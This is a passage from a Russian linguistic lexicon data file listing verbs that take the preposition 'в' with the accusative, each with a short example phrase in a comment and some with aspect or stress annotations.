rus_verbs:подогнать{}, // подогнать в док
rus_verbs:ломиться{}, // ломиться в открытую дверь
rus_verbs:переправить{}, // переправить в деревню
rus_verbs:затягиваться{}, // затягиваться в трубу
rus_verbs:разлетаться{}, // разлетаться в стороны
rus_verbs:кланяться{}, // кланяться в ножки
rus_verbs:устремляться{}, // устремляться в открытое море
rus_verbs:переместиться{}, // переместиться в другую аудиторию
rus_verbs:ложить{}, // ложить в ящик
rus_verbs:отвозить{}, // отвозить в аэропорт
rus_verbs:напрашиваться{}, // напрашиваться в гости
rus_verbs:напроситься{}, // напроситься в гости
rus_verbs:нагрянуть{}, // нагрянуть в гости
rus_verbs:заворачивать{}, // заворачивать в фольгу
rus_verbs:заковать{}, // заковать в кандалы
rus_verbs:свезти{}, // свезти в сарай
rus_verbs:притащиться{}, // притащиться в дом
rus_verbs:завербовать{}, // завербовать в разведку
rus_verbs:рубиться{}, // рубиться в компьютерные игры
rus_verbs:тыкаться{}, // тыкаться в материнскую грудь
инфинитив:ссыпать{ вид:несоверш }, инфинитив:ссыпать{ вид:соверш }, // ссыпать в контейнер
глагол:ссыпать{ вид:несоверш }, глагол:ссыпать{ вид:соверш },
деепричастие:ссыпав{}, деепричастие:ссыпая{},
rus_verbs:засасывать{}, // засасывать в себя
rus_verbs:скакнуть{}, // скакнуть в будущее
rus_verbs:подвозить{}, // подвозить в театр
rus_verbs:переиграть{}, // переиграть в покер
rus_verbs:мобилизовать{}, // мобилизовать в действующую армию
rus_verbs:залетать{}, // залетать в закрытое воздушное пространство
rus_verbs:подышать{}, // подышать в трубочку
rus_verbs:смотаться{}, // смотаться в институт
rus_verbs:рассовать{}, // рассовать в кармашки
rus_verbs:захаживать{}, // захаживать в дом
инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять в ломбард
деепричастие:сгоняя{},
rus_verbs:посылаться{}, // посылаться в порт
rus_verbs:отлить{}, // отлить в кастрюлю
rus_verbs:преобразоваться{}, // преобразоваться в линейное уравнение
rus_verbs:поплакать{}, // поплакать в платочек
rus_verbs:обуться{}, // обуться в сапоги
rus_verbs:закапать{}, // закапать в глаза
инфинитив:свозить{ вид:несоверш }, инфинитив:свозить{ вид:соверш }, // свозить в центр утилизации
глагол:свозить{ вид:несоверш }, глагол:свозить{ вид:соверш },
деепричастие:свозив{}, деепричастие:свозя{},
rus_verbs:преобразовать{}, // преобразовать в линейное уравнение
rus_verbs:кутаться{}, // кутаться в плед
rus_verbs:смещаться{}, // смещаться в сторону
rus_verbs:зазывать{}, // зазывать в свой магазин
инфинитив:трансформироваться{ вид:несоверш }, инфинитив:трансформироваться{ вид:соверш }, // трансформироваться в комбинезон
глагол:трансформироваться{ вид:несоверш }, глагол:трансформироваться{ вид:соверш },
деепричастие:трансформируясь{}, деепричастие:трансформировавшись{},
rus_verbs:погружать{}, // погружать в кипящее масло
rus_verbs:обыграть{}, // обыграть в теннис
rus_verbs:закутать{}, // закутать в одеяло
rus_verbs:изливаться{}, // изливаться в воду
rus_verbs:закатывать{}, // закатывать в асфальт
rus_verbs:мотнуться{}, // мотнуться в банк
rus_verbs:избираться{}, // избираться в сенат
rus_verbs:наниматься{}, // наниматься в услужение
rus_verbs:настучать{}, // настучать в органы
rus_verbs:запихивать{}, // запихивать в печку
rus_verbs:закапывать{}, // закапывать в нос
rus_verbs:засобираться{}, // засобираться в поход
rus_verbs:копировать{}, // копировать в другую папку
rus_verbs:замуровать{}, // замуровать в стену
rus_verbs:упечь{}, // упечь в тюрьму
rus_verbs:зрить{}, // зрить в корень
rus_verbs:стягиваться{}, // стягиваться в одну точку
rus_verbs:усаживать{}, // усаживать в тренажер
rus_verbs:протолкнуть{}, // протолкнуть в отверстие
rus_verbs:расшибиться{}, // расшибиться в лепешку
rus_verbs:приглашаться{}, // приглашаться в кабинет
rus_verbs:садить{}, // садить в телегу
rus_verbs:уткнуть{}, // уткнуть в подушку
rus_verbs:протечь{}, // протечь в подвал
rus_verbs:перегнать{}, // перегнать в другую страну
rus_verbs:переползти{}, // переползти в тень
rus_verbs:зарываться{}, // зарываться в грунт
rus_verbs:переодеть{}, // переодеть в сухую одежду
rus_verbs:припуститься{}, // припуститься в пляс
rus_verbs:лопотать{}, // лопотать в микрофон
rus_verbs:прогнусавить{}, // прогнусавить в микрофон
rus_verbs:мочиться{}, // мочиться в штаны
rus_verbs:загружать{}, // загружать в патронник
rus_verbs:радировать{}, // радировать в центр
rus_verbs:промотать{}, // промотать в конец
rus_verbs:помчать{}, // помчать в школу
rus_verbs:съезжать{}, // съезжать в кювет
rus_verbs:завозить{}, // завозить в магазин
rus_verbs:заявляться{}, // заявляться в школу
rus_verbs:наглядеться{}, // наглядеться в зеркало
rus_verbs:сворачиваться{}, // сворачиваться в клубочек
rus_verbs:устремлять{}, // устремлять взор в будущее
rus_verbs:забредать{}, // забредать в глухие уголки
rus_verbs:перемотать{}, // перемотать в самое начало диалога
rus_verbs:сморкаться{}, // сморкаться в носовой платочек
rus_verbs:перетекать{}, // перетекать в другой сосуд
rus_verbs:закачать{}, // закачать в шарик
rus_verbs:запрятать{}, // запрятать в сейф
rus_verbs:пинать{}, // пинать в живот
rus_verbs:затрубить{}, // затрубить в горн
rus_verbs:подглядывать{}, // подглядывать в замочную скважину
инфинитив:подсыпать{ вид:соверш }, инфинитив:подсыпать{ вид:несоверш }, // подсыпать в питье
глагол:подсыпать{ вид:соверш }, глагол:подсыпать{ вид:несоверш },
деепричастие:подсыпав{}, деепричастие:подсыпая{},
rus_verbs:засовывать{}, // засовывать в пенал
rus_verbs:отрядить{}, // отрядить в командировку
rus_verbs:справлять{}, // справлять в кусты
rus_verbs:поторапливаться{}, // поторапливаться в самолет
rus_verbs:скопировать{}, // скопировать в кэш
rus_verbs:подливать{}, // подливать в огонь
rus_verbs:запрячь{}, // запрячь в повозку
rus_verbs:окраситься{}, // окраситься в пурпур
rus_verbs:уколоть{}, // уколоть в шею
rus_verbs:слететься{}, // слететься в гнездо
rus_verbs:резаться{}, // резаться в карты
rus_verbs:затесаться{}, // затесаться в ряды оппозиционеров
инфинитив:задвигать{ вид:несоверш }, глагол:задвигать{ вид:несоверш }, // задвигать в ячейку (несоверш)
деепричастие:задвигая{},
rus_verbs:доставляться{}, // доставляться в ресторан
rus_verbs:поплевать{}, // поплевать в чашку
rus_verbs:попереться{}, // попереться в магазин
rus_verbs:хаживать{}, // хаживать в церковь
rus_verbs:преображаться{}, // преображаться в королеву
rus_verbs:организоваться{}, // организоваться в группу
rus_verbs:ужалить{}, // ужалить в руку
rus_verbs:протискиваться{}, // протискиваться в аудиторию
rus_verbs:препроводить{}, // препроводить в закуток
rus_verbs:разъезжаться{}, // разъезжаться в разные стороны
rus_verbs:пропыхтеть{}, // пропыхтеть в трубку
rus_verbs:уволочь{}, // уволочь в нору
rus_verbs:отодвигаться{}, // отодвигаться в сторону
rus_verbs:разливать{}, // разливать в стаканы
rus_verbs:сбегаться{}, // сбегаться в актовый зал
rus_verbs:наведаться{}, // наведаться в кладовку
rus_verbs:перекочевать{}, // перекочевать в горы
rus_verbs:прощебетать{}, // прощебетать в трубку
rus_verbs:перекладывать{}, // перекладывать в другой карман
rus_verbs:углубляться{}, // углубляться в теорию
rus_verbs:переименовать{}, // переименовать в город
rus_verbs:переметнуться{}, // переметнуться в лагерь противника
rus_verbs:разносить{}, // разносить в щепки
rus_verbs:осыпаться{}, // осыпаться в холода
rus_verbs:попроситься{}, // попроситься в туалет
rus_verbs:уязвить{}, // уязвить в сердце
rus_verbs:перетащить{}, // перетащить в дом
rus_verbs:закутаться{}, // закутаться в плед
// rus_verbs:упаковать{}, // упаковать в бумагу
инфинитив:тикать{ aux stress="тик^ать" }, глагол:тикать{ aux stress="тик^ать" }, // тикать в крепость
rus_verbs:хихикать{}, // хихикать в кулачок
rus_verbs:объединить{}, // объединить в сеть
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать в Калифорнию
деепричастие:слетав{},
rus_verbs:заползти{}, // заползти в норку
rus_verbs:перерасти{}, // перерасти в крупную аферу
rus_verbs:списать{}, // списать в утиль
rus_verbs:просачиваться{}, // просачиваться в бункер
rus_verbs:пускаться{}, // пускаться в погоню
rus_verbs:согревать{}, // согревать в мороз
rus_verbs:наливаться{}, // наливаться в емкость
rus_verbs:унестись{}, // унестись в небо
rus_verbs:зашвырнуть{}, // зашвырнуть в шкаф
rus_verbs:сигануть{}, // сигануть в воду
rus_verbs:окунуть{}, // окунуть в ледяную воду
rus_verbs:просочиться{}, // просочиться в сапог
rus_verbs:соваться{}, // соваться в толпу
rus_verbs:протолкаться{}, // протолкаться в гардероб
rus_verbs:заложить{}, // заложить в ломбард
rus_verbs:перекатить{}, // перекатить в сарай
rus_verbs:поставлять{}, // поставлять в Китай
rus_verbs:залезать{}, // залезать в долги
rus_verbs:отлучаться{}, // отлучаться в туалет
rus_verbs:сбиваться{}, // сбиваться в кучу
rus_verbs:зарыть{}, // зарыть в землю
rus_verbs:засадить{}, // засадить в тело
rus_verbs:прошмыгнуть{}, // прошмыгнуть в дверь
rus_verbs:переставить{}, // переставить в шкаф
rus_verbs:отчалить{}, // отчалить в плавание
rus_verbs:набираться{}, // набираться в команду
rus_verbs:лягнуть{}, // лягнуть в живот
rus_verbs:притворить{}, // притворить в жизнь
rus_verbs:проковылять{}, // проковылять в гардероб
rus_verbs:прикатить{}, // прикатить в гараж
rus_verbs:залететь{}, // залететь в окно
rus_verbs:переделать{}, // переделать в мопед
rus_verbs:протащить{}, // протащить в совет
rus_verbs:обмакнуть{}, // обмакнуть в воду
rus_verbs:отклоняться{}, // отклоняться в сторону
rus_verbs:запихать{}, // запихать в пакет
rus_verbs:избирать{}, // избирать в совет
rus_verbs:загрузить{}, // загрузить в буфер
rus_verbs:уплывать{}, // уплывать в Париж
rus_verbs:забивать{}, // забивать в мерзлоту
rus_verbs:потыкать{}, // потыкать в безжизненную тушу
rus_verbs:съезжаться{}, // съезжаться в санаторий
rus_verbs:залепить{}, // залепить в рыло
rus_verbs:набиться{}, // набиться в карманы
rus_verbs:уползти{}, // уползти в нору
rus_verbs:упрятать{}, // упрятать в камеру
rus_verbs:переместить{}, // переместить в камеру анабиоза
rus_verbs:закрасться{}, // закрасться в душу
rus_verbs:сместиться{}, // сместиться в инфракрасную область
rus_verbs:запускать{}, // запускать в серию
rus_verbs:потрусить{}, // потрусить в чащобу
rus_verbs:забрасывать{}, // забрасывать в чистую воду
rus_verbs:переселить{}, // переселить в отдаленную деревню
rus_verbs:переезжать{}, // переезжать в новую квартиру
rus_verbs:приподнимать{}, // приподнимать в воздух
rus_verbs:добавиться{}, // добавиться в конец очереди
rus_verbs:убыть{}, // убыть в часть
rus_verbs:передвигать{}, // передвигать в соседнюю клетку
rus_verbs:добавляться{}, // добавляться в очередь
rus_verbs:дописать{}, // дописать в перечень
rus_verbs:записываться{}, // записываться в кружок
rus_verbs:продаться{}, // продаться в кредитное рабство
rus_verbs:переписывать{}, // переписывать в тетрадку
rus_verbs:заплыть{}, // заплыть в территориальные воды
инфинитив:пописать{ aux stress="поп^исать" }, инфинитив:пописать{ aux stress="попис^ать" }, // пописать в горшок
глагол:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="попис^ать" },
rus_verbs:отбирать{}, // отбирать в гвардию
rus_verbs:нашептывать{}, // нашептывать в микрофон
rus_verbs:ковылять{}, // ковылять в стойло
rus_verbs:прилетать{}, // прилетать в Париж
rus_verbs:пролиться{}, // пролиться в канализацию
rus_verbs:запищать{}, // запищать в микрофон
rus_verbs:подвезти{}, // подвезти в больницу
rus_verbs:припереться{}, // припереться в театр
rus_verbs:утечь{}, // утечь в сеть
rus_verbs:прорываться{}, // прорываться в буфет
rus_verbs:увозить{}, // увозить в ремонт
rus_verbs:съедать{}, // съедать в обед
rus_verbs:просунуться{}, // просунуться в дверь
rus_verbs:перенестись{}, // перенестись в прошлое
rus_verbs:завезти{}, // завезти в магазин
rus_verbs:проложить{}, // проложить в деревню
rus_verbs:объединяться{}, // объединяться в профсоюз
rus_verbs:развиться{}, // развиться в бабочку
rus_verbs:засеменить{}, // засеменить в кабинку
rus_verbs:скатываться{}, // скатываться в яму
rus_verbs:завозиться{}, // завозиться в магазин
rus_verbs:нанимать{}, // нанимать в рейс
rus_verbs:поспеть{}, // поспеть в класс
rus_verbs:кидаться{}, // кинаться в крайности
rus_verbs:поспевать{}, // поспевать в оперу
rus_verbs:обернуть{}, // обернуть в фольгу
rus_verbs:обратиться{}, // обратиться в прокуратуру
rus_verbs:истолковать{}, // истолковать в свою пользу
rus_verbs:таращиться{}, // таращиться в дисплей
rus_verbs:прыснуть{}, // прыснуть в кулачок
rus_verbs:загнуть{}, // загнуть в другую сторону
rus_verbs:раздать{}, // раздать в разные руки
rus_verbs:назначить{}, // назначить в приемную комиссию
rus_verbs:кидать{}, // кидать в кусты
rus_verbs:увлекать{}, // увлекать в лес
rus_verbs:переселиться{}, // переселиться в чужое тело
rus_verbs:присылать{}, // присылать в город
rus_verbs:уплыть{}, // уплыть в Европу
rus_verbs:запричитать{}, // запричитать в полный голос
rus_verbs:утащить{}, // утащить в логово
rus_verbs:завернуться{}, // завернуться в плед
rus_verbs:заносить{}, // заносить в блокнот
rus_verbs:пятиться{}, // пятиться в дом
rus_verbs:наведываться{}, // наведываться в больницу
rus_verbs:нырять{}, // нырять в прорубь
rus_verbs:зачастить{}, // зачастить в бар
rus_verbs:назначаться{}, // назначается в комиссию
rus_verbs:мотаться{}, // мотаться в областной центр
rus_verbs:разыграть{}, // разыграть в карты
rus_verbs:пропищать{}, // пропищать в микрофон
rus_verbs:пихнуть{}, // пихнуть в бок
rus_verbs:эмигрировать{}, // эмигрировать в Канаду
rus_verbs:подключить{}, // подключить в сеть
rus_verbs:упереть{}, // упереть в фундамент
rus_verbs:уплатить{}, // уплатить в кассу
rus_verbs:потащиться{}, // потащиться в медпункт
rus_verbs:пригнать{}, // пригнать в стойло
rus_verbs:оттеснить{}, // оттеснить в фойе
rus_verbs:стучаться{}, // стучаться в ворота
rus_verbs:перечислить{}, // перечислить в фонд
rus_verbs:сомкнуть{}, // сомкнуть в круг
rus_verbs:закачаться{}, // закачаться в резервуар
rus_verbs:кольнуть{}, // кольнуть в бок
rus_verbs:накрениться{}, // накрениться в сторону берега
rus_verbs:подвинуться{}, // подвинуться в другую сторону
rus_verbs:разнести{}, // разнести в клочья
rus_verbs:отливать{}, // отливать в форму
rus_verbs:подкинуть{}, // подкинуть в карман
rus_verbs:уводить{}, // уводить в кабинет
rus_verbs:ускакать{}, // ускакать в школу
rus_verbs:ударять{}, // ударять в барабаны
rus_verbs:даться{}, // даться в руки
rus_verbs:поцеловаться{}, // поцеловаться в губы
rus_verbs:посветить{}, // посветить в подвал
rus_verbs:тыкать{}, // тыкать в арбуз
rus_verbs:соединяться{}, // соединяться в кольцо
rus_verbs:растянуть{}, // растянуть в тонкую ниточку
rus_verbs:побросать{}, // побросать в пыль
rus_verbs:стукнуться{}, // стукнуться в закрытую дверь
rus_verbs:проигрывать{}, // проигрывать в теннис
rus_verbs:дунуть{}, // дунуть в трубочку
rus_verbs:улетать{}, // улетать в Париж
rus_verbs:переводиться{}, // переводиться в филиал
rus_verbs:окунуться{}, // окунуться в водоворот событий
rus_verbs:попрятаться{}, // попрятаться в норы
rus_verbs:перевезти{}, // перевезти в соседнюю палату
rus_verbs:топать{}, // топать в школу
rus_verbs:относить{}, // относить в помещение
rus_verbs:укладывать{}, // укладывать в стопку
rus_verbs:укатить{}, // укатил в турне
rus_verbs:убирать{}, // убирать в сумку
rus_verbs:помалкивать{}, // помалкивать в тряпочку
rus_verbs:ронять{}, // ронять в грязь
rus_verbs:глазеть{}, // глазеть в бинокль
rus_verbs:преобразиться{}, // преобразиться в другого человека
rus_verbs:запрыгнуть{}, // запрыгнуть в поезд
rus_verbs:сгодиться{}, // сгодиться в суп
rus_verbs:проползти{}, // проползти в нору
rus_verbs:забираться{}, // забираться в коляску
rus_verbs:сбежаться{}, // сбежались в класс
rus_verbs:закатиться{}, // закатиться в угол
rus_verbs:плевать{}, // плевать в душу
rus_verbs:поиграть{}, // поиграть в демократию
rus_verbs:кануть{}, // кануть в небытие
rus_verbs:опаздывать{}, // опаздывать в школу
rus_verbs:отползти{}, // отползти в сторону
rus_verbs:стекаться{}, // стекаться в отстойник
rus_verbs:запихнуть{}, // запихнуть в пакет
rus_verbs:вышвырнуть{}, // вышвырнуть в коридор
rus_verbs:связываться{}, // связываться в плотный узел
rus_verbs:затолкать{}, // затолкать в ухо
rus_verbs:скрутить{}, // скрутить в трубочку
rus_verbs:сворачивать{}, // сворачивать в трубочку
rus_verbs:сплестись{}, // сплестись в узел
rus_verbs:заскочить{}, // заскочить в кабинет
rus_verbs:проваливаться{}, // проваливаться в сон
rus_verbs:уверовать{}, // уверовать в свою безнаказанность
rus_verbs:переписать{}, // переписать в тетрадку
rus_verbs:переноситься{}, // переноситься в мир фантазий
rus_verbs:заводить{}, // заводить в помещение
rus_verbs:сунуться{}, // сунуться в аудиторию
rus_verbs:устраиваться{}, // устраиваться в автомастерскую
rus_verbs:пропускать{}, // пропускать в зал
инфинитив:сбегать{ вид:несоверш }, инфинитив:сбегать{ вид:соверш }, // сбегать в кино
глагол:сбегать{ вид:несоверш }, глагол:сбегать{ вид:соверш },
деепричастие:сбегая{}, деепричастие:сбегав{},
rus_verbs:прибегать{}, // прибегать в школу
rus_verbs:съездить{}, // съездить в лес
rus_verbs:захлопать{}, // захлопать в ладошки
rus_verbs:опрокинуться{}, // опрокинуться в грязь
инфинитив:насыпать{ вид:несоверш }, инфинитив:насыпать{ вид:соверш }, // насыпать в стакан
глагол:насыпать{ вид:несоверш }, глагол:насыпать{ вид:соверш },
деепричастие:насыпая{}, деепричастие:насыпав{},
rus_verbs:употреблять{}, // употреблять в пищу
rus_verbs:приводиться{}, // приводиться в действие
rus_verbs:пристроить{}, // пристроить в надежные руки
rus_verbs:юркнуть{}, // юркнуть в нору
rus_verbs:объединиться{}, // объединиться в банду
rus_verbs:сажать{}, // сажать в одиночку
rus_verbs:соединить{}, // соединить в кольцо
rus_verbs:забрести{}, // забрести в кафешку
rus_verbs:свернуться{}, // свернуться в клубочек
rus_verbs:пересесть{}, // пересесть в другой автобус
rus_verbs:постучаться{}, // постучаться в дверцу
rus_verbs:соединять{}, // соединять в кольцо
rus_verbs:приволочь{}, // приволочь в коморку
rus_verbs:смахивать{}, // смахивать в ящик стола
rus_verbs:забежать{}, // забежать в помещение
rus_verbs:целиться{}, // целиться в беглеца
rus_verbs:прокрасться{}, // прокрасться в хранилище
rus_verbs:заковылять{}, // заковылять в травтамологию
rus_verbs:прискакать{}, // прискакать в стойло
rus_verbs:колотить{}, // колотить в дверь
rus_verbs:смотреться{}, // смотреться в зеркало
rus_verbs:подложить{}, // подложить в салон
rus_verbs:пущать{}, // пущать в королевские покои
rus_verbs:согнуть{}, // согнуть в дугу
rus_verbs:забарабанить{}, // забарабанить в дверь
rus_verbs:отклонить{}, // отклонить в сторону посадочной полосы
rus_verbs:убраться{}, // убраться в специальную нишу
rus_verbs:насмотреться{}, // насмотреться в зеркало
rus_verbs:чмокнуть{}, // чмокнуть в щечку
rus_verbs:усмехаться{}, // усмехаться в бороду
rus_verbs:передвинуть{}, // передвинуть в конец очереди
rus_verbs:допускаться{}, // допускаться в опочивальню
rus_verbs:задвинуть{}, // задвинуть в дальний угол
rus_verbs:отправлять{}, // отправлять в центр
rus_verbs:сбрасывать{}, // сбрасывать в жерло
rus_verbs:расстреливать{}, // расстреливать в момент обнаружения
rus_verbs:заволочь{}, // заволочь в закуток
rus_verbs:пролить{}, // пролить в воду
rus_verbs:зарыться{}, // зарыться в сено
rus_verbs:переливаться{}, // переливаться в емкость
rus_verbs:затащить{}, // затащить в клуб
rus_verbs:перебежать{}, // перебежать в лагерь врагов
rus_verbs:одеть{}, // одеть в новое платье
инфинитив:задвигаться{ вид:несоверш }, глагол:задвигаться{ вид:несоверш }, // задвигаться в нишу
деепричастие:задвигаясь{},
rus_verbs:клюнуть{}, // клюнуть в темечко
rus_verbs:наливать{}, // наливать в кружку
rus_verbs:пролезть{}, // пролезть в ушко
rus_verbs:откладывать{}, // откладывать в ящик
rus_verbs:протянуться{}, // протянуться в соседний дом
rus_verbs:шлепнуться{}, // шлепнуться лицом в грязь
rus_verbs:устанавливать{}, // устанавливать в машину
rus_verbs:употребляться{}, // употребляться в пищу
rus_verbs:переключиться{}, // переключиться в реверсный режим
rus_verbs:пискнуть{}, // пискнуть в микрофон
rus_verbs:заявиться{}, // заявиться в класс
rus_verbs:налиться{}, // налиться в стакан
rus_verbs:заливать{}, // заливать в бак
rus_verbs:ставиться{}, // ставиться в очередь
инфинитив:писаться{ aux stress="п^исаться" }, глагол:писаться{ aux stress="п^исаться" }, // писаться в штаны
деепричастие:писаясь{},
rus_verbs:целоваться{}, // целоваться в губы
rus_verbs:наносить{}, // наносить в область сердца
rus_verbs:посмеяться{}, // посмеяться в кулачок
rus_verbs:употребить{}, // употребить в пищу
rus_verbs:прорваться{}, // прорваться в столовую
rus_verbs:укладываться{}, // укладываться в ровные стопки
rus_verbs:пробиться{}, // пробиться в финал
rus_verbs:забить{}, // забить в землю
rus_verbs:переложить{}, // переложить в другой карман
rus_verbs:опускать{}, // опускать в свежевырытую могилу
rus_verbs:поторопиться{}, // поторопиться в школу
rus_verbs:сдвинуться{}, // сдвинуться в сторону
rus_verbs:капать{}, // капать в смесь
rus_verbs:погружаться{}, // погружаться во тьму
rus_verbs:направлять{}, // направлять в кабинку
rus_verbs:погрузить{}, // погрузить во тьму
rus_verbs:примчаться{}, // примчаться в школу
rus_verbs:упираться{}, // упираться в дверь
rus_verbs:удаляться{}, // удаляться в комнату совещаний
rus_verbs:ткнуться{}, // ткнуться в окошко
rus_verbs:убегать{}, // убегать в чащу
rus_verbs:соединиться{}, // соединиться в необычную пространственную фигуру
rus_verbs:наговорить{}, // наговорить в микрофон
rus_verbs:переносить{}, // переносить в дом
rus_verbs:прилечь{}, // прилечь в кроватку
rus_verbs:поворачивать{}, // поворачивать в обратную сторону
rus_verbs:проскочить{}, // проскочить в щель
rus_verbs:совать{}, // совать в духовку
rus_verbs:переодеться{}, // переодеться в чистую одежду
rus_verbs:порвать{}, // порвать в лоскуты
rus_verbs:завязать{}, // завязать в бараний рог
rus_verbs:съехать{}, // съехать в кювет
rus_verbs:литься{}, // литься в канистру
rus_verbs:уклониться{}, // уклониться в левую сторону
rus_verbs:смахнуть{}, // смахнуть в мусорное ведро
rus_verbs:спускать{}, // спускать в шахту
rus_verbs:плеснуть{}, // плеснуть в воду
rus_verbs:подуть{}, // подуть в угольки
rus_verbs:набирать{}, // набирать в команду
rus_verbs:хлопать{}, // хлопать в ладошки
rus_verbs:ранить{}, // ранить в самое сердце
rus_verbs:посматривать{}, // посматривать в иллюминатор
rus_verbs:превращать{}, // превращать воду в вино
rus_verbs:толкать{}, // толкать в пучину
rus_verbs:отбыть{}, // отбыть в расположение части
rus_verbs:сгрести{}, // сгрести в карман
rus_verbs:удрать{}, // удрать в тайгу
rus_verbs:пристроиться{}, // пристроиться в хорошую фирму
rus_verbs:сбиться{}, // сбиться в плотную группу
rus_verbs:заключать{}, // заключать в объятия
rus_verbs:отпускать{}, // отпускать в поход
rus_verbs:устремить{}, // устремить взгляд в будущее
rus_verbs:обронить{}, // обронить в траву
rus_verbs:сливаться{}, // сливаться в речку
rus_verbs:стекать{}, // стекать в канаву
rus_verbs:свалить{}, // свалить в кучу
rus_verbs:подтянуть{}, // подтянуть в кабину
rus_verbs:скатиться{}, // скатиться в канаву
rus_verbs:проскользнуть{}, // проскользнуть в приоткрытую дверь
rus_verbs:заторопиться{}, // заторопиться в буфет
rus_verbs:протиснуться{}, // протиснуться в центр толпы
rus_verbs:прятать{}, // прятать в укромненькое местечко
rus_verbs:пропеть{}, // пропеть в микрофон
rus_verbs:углубиться{}, // углубиться в джунгли
rus_verbs:сползти{}, // сползти в яму
rus_verbs:записывать{}, // записывать в память
rus_verbs:расстрелять{}, // расстрелять в упор (наречный оборот В УПОР)
rus_verbs:колотиться{}, // колотиться в дверь
rus_verbs:просунуть{}, // просунуть в отверстие
rus_verbs:провожать{}, // провожать в армию
rus_verbs:катить{}, // катить в гараж
rus_verbs:поражать{}, // поражать в самое сердце
rus_verbs:отлететь{}, // отлететь в дальний угол
rus_verbs:закинуть{}, // закинуть в речку
rus_verbs:катиться{}, // катиться в пропасть
rus_verbs:забросить{}, // забросить в дальний угол
rus_verbs:отвезти{}, // отвезти в лагерь
rus_verbs:втопить{}, // втопить педаль в пол
rus_verbs:втапливать{}, // втапливать педать в пол
rus_verbs:утопить{}, // утопить кнопку в панель
rus_verbs:напасть{}, // В Пекине участники антияпонских протестов напали на машину посла США
rus_verbs:нанять{}, // Босс нанял в службу поддержки еще несколько девушек
rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму
rus_verbs:баллотировать{}, // претендент был баллотирован в жюри (баллотирован?)
rus_verbs:вбухать{}, // Власти вбухали в этой проект много денег
rus_verbs:вбухивать{}, // Власти вбухивают в этот проект очень много денег
rus_verbs:поскакать{}, // поскакать в атаку
rus_verbs:прицелиться{}, // прицелиться в бегущего зайца
rus_verbs:прыгать{}, // прыгать в кровать
rus_verbs:приглашать{}, // приглашать в дом
rus_verbs:понестись{}, // понестись в ворота
rus_verbs:заехать{}, // заехать в гаражный бокс
rus_verbs:опускаться{}, // опускаться в бездну
rus_verbs:переехать{}, // переехать в коттедж
rus_verbs:поместить{}, // поместить в карантин
rus_verbs:ползти{}, // ползти в нору
rus_verbs:добавлять{}, // добавлять в корзину
rus_verbs:уткнуться{}, // уткнуться в подушку
rus_verbs:продавать{}, // продавать в рабство
rus_verbs:спрятаться{}, // Белка спрячется в дупло.
rus_verbs:врисовывать{}, // врисовывать новый персонаж в анимацию
rus_verbs:воткнуть{}, // воткни вилку в розетку
rus_verbs:нести{}, // нести в больницу
rus_verbs:воткнуться{}, // вилка воткнулась в сочную котлетку
rus_verbs:впаивать{}, // впаивать деталь в плату
rus_verbs:впаиваться{}, // деталь впаивается в плату
rus_verbs:впархивать{}, // впархивать в помещение
rus_verbs:впаять{}, // впаять деталь в плату
rus_verbs:впендюривать{}, // впендюривать штукенцию в агрегат
rus_verbs:впендюрить{}, // впендюрить штукенцию в агрегат
rus_verbs:вперивать{}, // вперивать взгляд в экран
rus_verbs:впериваться{}, // впериваться в экран
rus_verbs:вперить{}, // вперить взгляд в экран
rus_verbs:впериться{}, // впериться в экран
rus_verbs:вперять{}, // вперять взгляд в экран
rus_verbs:вперяться{}, // вперяться в экран
rus_verbs:впечатать{}, // впечатать текст в первую главу
rus_verbs:впечататься{}, // впечататься в стену
rus_verbs:впечатывать{}, // впечатывать текст в первую главу
rus_verbs:впечатываться{}, // впечатываться в стену
rus_verbs:впиваться{}, // Хищник впивается в жертву мощными зубами
rus_verbs:впитаться{}, // Жидкость впиталась в ткань
rus_verbs:впитываться{}, // Жидкость впитывается в ткань
rus_verbs:впихивать{}, // Мама впихивает в сумку кусок колбасы
rus_verbs:впихиваться{}, // Кусок колбасы впихивается в сумку
rus_verbs:впихнуть{}, // Мама впихнула кастрюлю в холодильник
rus_verbs:впихнуться{}, // Кастрюля впихнулась в холодильник
rus_verbs:вплавиться{}, // Провод вплавился в плату
rus_verbs:вплеснуть{}, // вплеснуть краситель в бак
rus_verbs:вплести{}, // вплести ленту в волосы
rus_verbs:вплестись{}, // вплестись в волосы
rus_verbs:вплетать{}, // вплетать ленты в волосы
rus_verbs:вплывать{}, // корабль вплывает в порт
rus_verbs:вплыть{}, // яхта вплыла в бухту
rus_verbs:вползать{}, // дракон вползает в пещеру
rus_verbs:вползти{}, // дракон вполз в свою пещеру
rus_verbs:впорхнуть{}, // бабочка впорхнула в окно
rus_verbs:впрессовать{}, // впрессовать деталь в плиту
rus_verbs:впрессоваться{}, // впрессоваться в плиту
rus_verbs:впрессовывать{}, // впрессовывать деталь в плиту
rus_verbs:впрессовываться{}, // впрессовываться в плиту
rus_verbs:впрыгивать{}, // Пассажир впрыгивает в вагон
rus_verbs:впрыгнуть{}, // Пассажир впрыгнул в вагон
rus_verbs:впрыскивать{}, // Форсунка впрыскивает топливо в цилиндр
rus_verbs:впрыскиваться{}, // Топливо впрыскивается форсункой в цилиндр
rus_verbs:впрыснуть{}, // Форсунка впрыснула топливную смесь в камеру сгорания
rus_verbs:впрягать{}, // впрягать лошадь в телегу
rus_verbs:впрягаться{}, // впрягаться в работу
rus_verbs:впрячь{}, // впрячь лошадь в телегу
rus_verbs:впрячься{}, // впрячься в работу
rus_verbs:впускать{}, // впускать посетителей в музей
rus_verbs:впускаться{}, // впускаться в помещение
rus_verbs:впустить{}, // впустить посетителей в музей
rus_verbs:впутать{}, // впутать кого-то во что-то
rus_verbs:впутаться{}, // впутаться во что-то
rus_verbs:впутывать{}, // впутывать кого-то во что-то
rus_verbs:впутываться{}, // впутываться во что-то
rus_verbs:врабатываться{}, // врабатываться в режим
rus_verbs:вработаться{}, // вработаться в режим
rus_verbs:врастать{}, // врастать в кожу
rus_verbs:врасти{}, // врасти в кожу
инфинитив:врезать{ вид:несоверш }, // врезать замок в дверь
инфинитив:врезать{ вид:соверш },
глагол:врезать{ вид:несоверш },
глагол:врезать{ вид:соверш },
деепричастие:врезая{},
деепричастие:врезав{},
прилагательное:врезанный{},
инфинитив:врезаться{ вид:несоверш }, // врезаться в стену
инфинитив:врезаться{ вид:соверш },
глагол:врезаться{ вид:несоверш },
деепричастие:врезаясь{},
деепричастие:врезавшись{},
rus_verbs:врубить{}, // врубить в нагрузку
